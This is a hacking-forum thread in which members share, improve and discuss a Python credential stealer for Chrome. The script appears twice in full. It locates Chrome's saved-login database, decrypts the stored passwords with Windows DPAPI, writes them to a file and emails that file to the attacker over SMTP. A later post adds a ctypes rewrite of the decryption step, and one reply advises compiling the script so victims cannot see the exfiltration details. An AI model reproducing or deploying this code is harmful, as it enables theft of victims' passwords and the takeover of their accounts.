DO NOT DEAL WITH THIS MEMBER
os.getenv('USERPROFILE') that code piece always return you "C:\\Bla bla" what if i install chrome somewhere else like "D:\\" .. ? :)
DO NOT DEAL WITH THIS MEMBER
(May 5, 2016 11:59 AM)SIM-1866423 Wrote: os.getenv('USERPROFILE') that code piece always return you "C:\\Bla bla" what if i install chrome somewhere else like "D:\\" .. ? :)
That's actually true lol never thought of that but most people will leave it default. You can add it into the code if you want :)
DO NOT DEAL WITH THIS MEMBER
PHP Code
<?php
import os
import sqlite3
import win32crypt
import sys
import mimetypes
import smtplib
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import win32api
import win32file
# Create File
f = open('passwords.txt','w')
# Find path
try:
path = sys.argv[1]
except IndexError:
for driver in [x for x in win32api.GetLogicalDriveStrings().split('\x00') \
if win32file.GetDriveType(x) == win32file.DRIVE_FIXED]:
for w in os.walk(driver):
if 'Chrome' in w[1]:
path = str(w[0]) + '\Chrome\User Data\Default\Login Data'
# Connect to the Database
try:
print '[+] Opening ' + path
conn = sqlite3.connect(path)
cursor = conn.cursor()
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
# Get the results
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
data = cursor.fetchall()
if len(data) > 0:
for result in data:
# Decrypt the Password
try:
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
except Exception, e:
print '[-] %s' % (e)
pass
if password:
f.write('''[+] URL: %s\n Username: %s\n Password: %s\n''' %(result[0], result[1], password))
else:
print '[-] No results returned from query'
sys.exit(0)
# Your Email Account
emailfrom = "[email protected]"
#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox
emailto = "[email protected]"
fileToSend = "passwords.txt"
# Start Emailing
msg = MIMEMultipart()
msg['From'] = emailfrom
msg['To'] = emailto
msg['Subject'] = 'Password List'
filename = "passwords.txt"
f = file(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(attachment)
smtp = smtplib.SMTP('mail.sharklasers.com:25')
smtp.starttls()
smtp.sendmail(emailfrom, emailto, msg.as_string())
smtp.close()
print('[+] Successfully Completed')
:)
Looks very nice. Thanks for making this!! You're awesome.
DO NOT DEAL WITH THIS MEMBER
May 5, 2016 12:59 PM
(This post was last modified: May 5, 2016 01:01 PM by @beef.)
(May 5, 2016 12:25 PM)SIM-1866423 Wrote: PHP Code
<?php
import os
import sqlite3
import win32crypt
import sys
import mimetypes
import smtplib
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import win32api
import win32file
# Create File
f = open('passwords.txt','w')
# Find path
try:
path = sys.argv[1]
except IndexError:
for driver in [x for x in win32api.GetLogicalDriveStrings().split('\x00') \
if win32file.GetDriveType(x) == win32file.DRIVE_FIXED]:
for w in os.walk(driver):
if 'Chrome' in w[1]:
path = str(w[0]) + '\Chrome\User Data\Default\Login Data'
# Connect to the Database
try:
print '[+] Opening ' + path
conn = sqlite3.connect(path)
cursor = conn.cursor()
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
# Get the results
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
data = cursor.fetchall()
if len(data) > 0:
for result in data:
# Decrypt the Password
try:
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
except Exception, e:
print '[-] %s' % (e)
pass
if password:
f.write('''[+] URL: %s\n Username: %s\n Password: %s\n''' %(result[0], result[1], password))
else:
print '[-] No results returned from query'
sys.exit(0)
# Your Email Account
emailfrom = "[email protected]"
#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox
emailto = "[email protected]"
fileToSend = "passwords.txt"
# Start Emailing
msg = MIMEMultipart()
msg['From'] = emailfrom
msg['To'] = emailto
msg['Subject'] = 'Password List'
filename = "passwords.txt"
f = file(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(attachment)
smtp = smtplib.SMTP('mail.sharklasers.com:25')
smtp.starttls()
smtp.sendmail(emailfrom, emailto, msg.as_string())
smtp.close()
print('[+] Successfully Completed')
:)
nice :) ill change it with the main code.
(May 5, 2016 12:27 PM)hamburgerman Wrote: Looks very nice. Thanks for making this!! You're awesome.
:))) np man this is why I release free code.
May 7, 2016 06:48 AM
(This post was last modified: May 7, 2016 06:52 AM by TheKojak.)
I like the code; it's not bad at all :)
However, having said that, I don't like the heavy use of the pywin32 module, especially for such trivial tasks which could be easily created in pure ctypes. Using win32crypt, win32api, and win32file adds ~300kb of dependencies.
Here is some code I quickly came up with for the cryptography part:
PHP Code
<?php
import ctypes
from ctypes import wintypes
crypt32 = ctypes.windll.crypt32
kernel32 = ctypes.windll.kernel32
class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', wintypes.DWORD),
('pbData', ctypes.POINTER(wintypes.BYTE))]
class CRYPTPROTECT_PROMPTSTRUCT(ctypes.Structure):
_fields_ = [('cbSize', wintypes.DWORD),
('dwPromptFlags', wintypes.DWORD),
('hwndApp', wintypes.HWND),
('szPrompt', ctypes.POINTER(wintypes.WCHAR))]
_CryptProtectData = ctypes.WINFUNCTYPE(
wintypes.BOOL,
ctypes.POINTER(DATA_BLOB),
ctypes.POINTER(wintypes.WCHAR),
ctypes.POINTER(DATA_BLOB),
ctypes.c_void_p,
ctypes.POINTER(CRYPTPROTECT_PROMPTSTRUCT),
wintypes.DWORD,
ctypes.POINTER(DATA_BLOB))(('CryptProtectData', crypt32))
_CryptUnprotectData = ctypes.WINFUNCTYPE(
wintypes.BOOL,
ctypes.POINTER(DATA_BLOB),
ctypes.POINTER(wintypes.WCHAR),
ctypes.POINTER(DATA_BLOB),
ctypes.c_void_p,
ctypes.POINTER(CRYPTPROTECT_PROMPTSTRUCT),
wintypes.DWORD,
ctypes.POINTER(DATA_BLOB))(('CryptUnprotectData', crypt32))
def CryptProtectData(data, description=u'cryptprotectdata', entropy=None, flags=0x01):
blob_in = DATA_BLOB(cbData=len(data), pbData=ctypes.cast(ctypes.c_char_p(data), ctypes.POINTER(wintypes.BYTE)))
blob_out = DATA_BLOB()
if not _CryptProtectData(ctypes.byref(blob_in), description, entropy, None, None, flags, ctypes.byref(blob_out)):
return None
encrypted = ctypes.create_string_buffer(blob_out.cbData)
ctypes.memmove(encrypted, blob_out.pbData, blob_out.cbData)
kernel32.LocalFree(blob_out.pbData)
return encrypted.raw
def CryptUnprotectData(data, entropy=None, flags=0x01):
blob_in = DATA_BLOB(cbData=len(data), pbData=ctypes.cast(ctypes.c_char_p(data), ctypes.POINTER(wintypes.BYTE)))
blob_out = DATA_BLOB()
if not _CryptUnprotectData(ctypes.byref(blob_in), None, entropy, None, None, flags, ctypes.byref(blob_out)):
return None
decrypted = ctypes.create_string_buffer(blob_out.cbData)
ctypes.memmove(decrypted, blob_out.pbData, blob_out.cbData)
kernel32.LocalFree(blob_out.pbData)
return decrypted.raw
Use this instead of win32crypt and simply change this line:
Code password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
To this:
Code password = CryptUnprotectData(result[2], flags=0x00)[1]
I didn't test this but it should work. Note that your use of win32api and win32file could also be easily replaced with pure ctypes, removing the dependencies.
Other than that, good job!
DO NOT DEAL WITH THIS MEMBER
Yeah, that doesn't work bro. I'm sure its possible but not working. PM me on Skype.
(May 7, 2016 12:25 PM)@beef Wrote: Yeah, that doesn't work bro. I'm sure its possible but not working. PM me on Skype.
Hmm. It should work since I'm still using the same windows API.
What is the problem? Are you getting any errors?
DO NOT DEAL WITH THIS MEMBER
(May 8, 2016 03:23 AM)TheKojak Wrote: Hmm. It should work since I'm still using the same windows API.
What is the problem? Are you getting any errors?
Yeah. It said soemtjing about "buffer instance" I didn't have any time to edit the code bro.
bro i need help i just added u on skype
DO NOT DEAL WITH THIS MEMBER
Posting to maybe come back later...thanks for share btw ))
Just wondering, how would you go about infecting people with this? I mean, whoever has python installed on their machine is evidently someone who has at least some technical experience. And judging by the fact the python is an interpreted language, how would you spread this without having people know all your email or smtp server details?
I'm coming off here respectfully. I'm just wondering.
DO NOT DEAL WITH THIS MEMBER
May 10, 2016 12:03 PM
(This post was last modified: May 10, 2016 12:03 PM by @beef.)
(May 10, 2016 07:54 AM)Xutdes. Wrote: Just wondering, how would you go about infecting people with this? I mean, whoever has python installed on their machine is evidently someone who has at least some technical experience. And judging by the fact the python is an interpreted language, how would you spread this without having people know all your email or smtp server details?
I'm coming off here respectfully. I'm just wondering.
Obviously not. You compile the script..
(May 10, 2016 06:28 AM)supaturk Wrote: bro i need help i just added u on skype
Accepted.
(May 8, 2016 04:07 AM)@beef Wrote: Yeah. It said soemtjing about "buffer instance" I didn't have any time to edit the code bro.
I don't have chrome, so I can't really help unless you show me the full code you used and error message...
DO NOT DEAL WITH THIS MEMBER
(May 11, 2016 09:53 AM)TheKojak Wrote: I don't have chrome, so I can't really help unless you show me the full code you used and error message...
You need to add me on Skype.
|
